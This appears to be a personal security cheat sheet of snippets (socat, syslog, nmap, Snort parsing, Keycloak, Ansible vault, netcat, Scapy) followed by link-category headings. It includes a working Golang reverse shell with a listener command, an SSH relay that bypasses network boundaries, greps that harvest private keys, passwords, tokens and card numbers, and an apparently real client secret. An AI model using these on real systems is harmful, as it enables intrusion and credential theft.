Snippets

Socat SSH relay

  • Relay
while true;do socat -vv TCP4-LISTEN:1234 TCP4-LISTEN:4200;sleep 135;done
  • Target
while true;do socat -v TCP4:<IP OF THE RELAY>:1234 TCP4:localhost:22;sleep 140;done
  • Ssh to the target
ssh -p 4200 targetuser@relay

Get your public IP with nslookup

nslookup myip.opendns.com. resolver1.opendns.com

Write to syslog with logger command

  • Localhost
logger -p auth.crit 'su[3526]: FAILED su for root by USER1'
  • UDP
logger -P 5515 -n 127.0.0.1 -p user.info 'hello from logger'
  • TCP
logger -T -P 5515 -n 127.0.0.1 -p user.info 'hello from logger'

Nmap XML report to HTML

nmap -sn -oA result 127.0.0.1
xsltproc result.xml -o result.html

Parse snort CSV logs (pfsense package default format)

import csv
import json
"""
alert timestamp,sig_generator,sig_id,sig_rev,msg,proto,src,srcport,dst,dstport,id,classification,priority,action,disposition 10000K
"""

with open('/var/log/snort/snort_igb2.1063431/alert') as f:
    for row in f.readlines():
         arow = row.split(',')
         alert = {}
         alert['timestamp'] = arow[0]
         alert['sig_generator'] = arow[1]
         alert['sig_id'] = arow[2]
         alert['sig_rev'] = arow[3]
         alert['msg'] = arow[4]
         alert['proto'] = arow[5]
         alert['src'] = arow[6]
         alert['srcport'] = arow[7]
         alert['dst'] = arow[8]
         alert['dstport'] = arow[9]
         alert['id'] = arow[10]
         alert['classification'] = arow[11]
         alert['priority'] = arow[12]
         alert['action'] = arow[13]
         alert['disposition'] = arow[14].replace('\n', '')
         print(json.dumps(alert))

Golang Reverse Shell

Simple golang reverse shell. Setup attacker’s IP and TCP port to net.Dial("tcp", "<ip>:<port>").

package main

import (
   "fmt"
   "bufio"
   "net"
   "os/exec"
   "strings"
)

func main() {
   conn, _ := net.Dial("tcp", "127.0.0.1:4443")
   for {

      msg, _ := bufio.NewReader(conn).ReadString('\n')

      out, err := exec.Command(strings.TrimSuffix(msg, "\n")).Output()

      if err != nil {
         return
      }

      fmt.Fprintf(conn, "%s\n",out)

   }
}

  • compile: env GOOS=windows GOARCH=386 go build hello.go
  • Attacker’s machine: nc -v -l -p 4443

Source: https://medium.com/@sathish__kumar/undetectable-reverse-shell-with-golang-4fd4b1e172c1

Keycloak device auth test


import time
import requests
import json
import sys
data = {"client_id": "xxxx", "client_secret": "xxxxx"}
headers = {"Content-Type": "application/x-www-form-urlencoded"}
r = requests.post("http://127.0.0.1:8081/auth/realms/test/protocol/openid-connect/auth/device", data=data, headers=headers)
if r.status_code != 200:
    print(r.text)
    sys.exit(1)
rdata = json.loads(r.text)
device_code = rdata['device_code']
user_code = rdata['user_code']
verification_uri = rdata['verification_uri_complete']
print("Go to address {} and give code {}".format(verification_uri, user_code))
poll_data = {"client_id": "xxxx", "client_secret": "26ef7e5d-54cd-4570-a8d9-62687ed21d72", "grant_type": "urn:ietf:params:oauth:grant-type:device_code", "device_code": device_code}
while True:
    r = json.loads(requests.post("http://127.0.0.1:8081/auth/realms/test/protocol/openid-connect/token", data=poll_data, headers=headers).text)
    if "error" in r and r['error'] == "authorization_pending":
        time.sleep(5)
    elif "access_token" in r:
        print("Access token: {}".format(r['access_token']))
        break

Read Ansible vault file with Python

pip3 install ansible_vault

from ansible_vault import Vault
import argparse
import getpass

parser = argparse.ArgumentParser(description='Decrypt vault')
parser.add_argument('--vault-file', type=str, help='Path to vault file', required=True)
parser.add_argument('--vault-pass-file', type=str, help='Path to vault password file', required=False)
args = parser.parse_args()
if not args.vault_pass_file:
    pw = getpass.getpass()
else:
    with open(args.vault_pass_file) as f:
        pw = f.read().replace('\n', '')
print(pw)
vault = Vault(pw)
data = vault.load(open(args.vault_file).read())
print(data)
  • Read using password:

python3 test.py --vault-file foo.yml

  • Read using password file:

python3 test.py --vault-file foo.yml --vault-pass-file pwf

Ansible core lib alternative:

from ansible.constants import DEFAULT_VAULT_ID_MATCH
from ansible.parsing.vault import VaultLib
from ansible.parsing.vault import VaultSecret
import argparse
import getpass
import yaml

parser = argparse.ArgumentParser(description='Decrypt vault')
parser.add_argument('--vault-file', type=str, help='Path to vault file', required=True)
parser.add_argument('--vault-pass-file', type=str, help='Path to vault password file', required=False)
args = parser.parse_args()
if not args.vault_pass_file:
    pw = getpass.getpass()
else:
    with open(args.vault_pass_file) as f:
        pw = f.read().replace('\n', '')

vault = VaultLib([(DEFAULT_VAULT_ID_MATCH, VaultSecret(pw.encode('utf-8')))])
data = yaml.safe_load(vault.decrypt(open(args.vault_file).read()).decode('utf-8'))
print(data)

Grep interesting things from filesystem

JWT tokens

grep --color -rP 'eyJ[A-Za-z0-9-_=]+\.[A-Za-z0-9-_=]+\.?[A-Za-z0-9-_.+\/=]*' /var/log

Credit card numbers

grep --color -Pr '^(?:4[0-9]{12}(?:[0-9]{3})?|(?:5[1-5][0-9]{2}|222[1-9]|22[3-9][0-9]|2[3-6][0-9]{2}|27[01][0-9]|2720)[0-9]{12}|3[47][0-9]{13}|3(?:0[0-5]|[68][0-9])[0-9]{11}|6(?:011|5[0-9]{2})[0-9]{12}|(?:2131|1800|35\d{3})\d{11})$' /var/log/

Passwords

grep --color -Pr '(P|p)assword(\s?)[:=](\s?)+[^\s]+' /var/log/

Private keys

# Search for files that contain 'BEGIN.*PRIVATE' and use awk to extract key(s)
grep -Prl 'BEGIN [A-Z]+ PRIVATE' / 2>/dev/null | xargs -I {} sh -c 'echo "$1:\n$(awk "/BEGIN.*PRIVATE/{a=1}/END.*PRIVATE/{print;a=0}a" $1)"' sh {}

Netcat

Unix sockets

  • Server
touch /tmp/socket1 && nc -v -l -U /tmp/socket1
  • Client
nc -v -U /tmp/socket1

Port scan

# nc -v target -z port-range 2>&1|grep succeeded
nc -v localhost -z 1000-1234 2>&1|grep succeeded
# Simple scan to search for open TCP port 22 in /24 segment
for i in $(seq 1 254); do nc -w 1 -n -v 10.10.5.$i -z 22 2>&1| grep succeeded;done

Find files with interesting permissions

# World writable files
find / -perm -o+w -type f 2>/dev/null -not -path "/proc/*" -not -path "/sys/*"
# World writable directories
find / -perm -o+w -type d 2>/dev/null -not -path "/dev/shm" -not -path "/tmp"
# Files with SUID
find / -perm /4000 2>/dev/null
# Files with SGID
find . -perm /2000 2>/dev/null

Send ARP request with Scapy

from scapy.all import * 

ether=Ether()
arp=ARP()
ether.dst='ff:ff:ff:ff:ff:ff'
dst=input('enter destination IP:')
iface=input('enter interface:')

arp.pdst=dst
sendp(ether/arp, iface=iface)
print("Sniffing for responses... wait a moment...")
pkts = sniff(timeout=5, filter='arp')
print(pkts.res,)

Links

Payloads/Exploits

Fuzzing

Web application testing

Vulnerability scanning

SSL/TLS

Network scanning

Code analysis

Malware analysis

Memory analysis

OS Security

Linux

Audit tools

Disk encryption

Auditd

Apparmor

IMA

Windows

Active Directory

News and Blogs

DevOps / SecDevOps

Books

Testing frameworks

CI/CD pipelines

Random

Ansible

Vulnerability management

Password cracking

SOC/SIEM/BlueTeam

ModSecurity

HIDS/IDS/IDP

Traffic analysis

CTFs / Wargames / Learning platforms

Mobile

Android

Home automation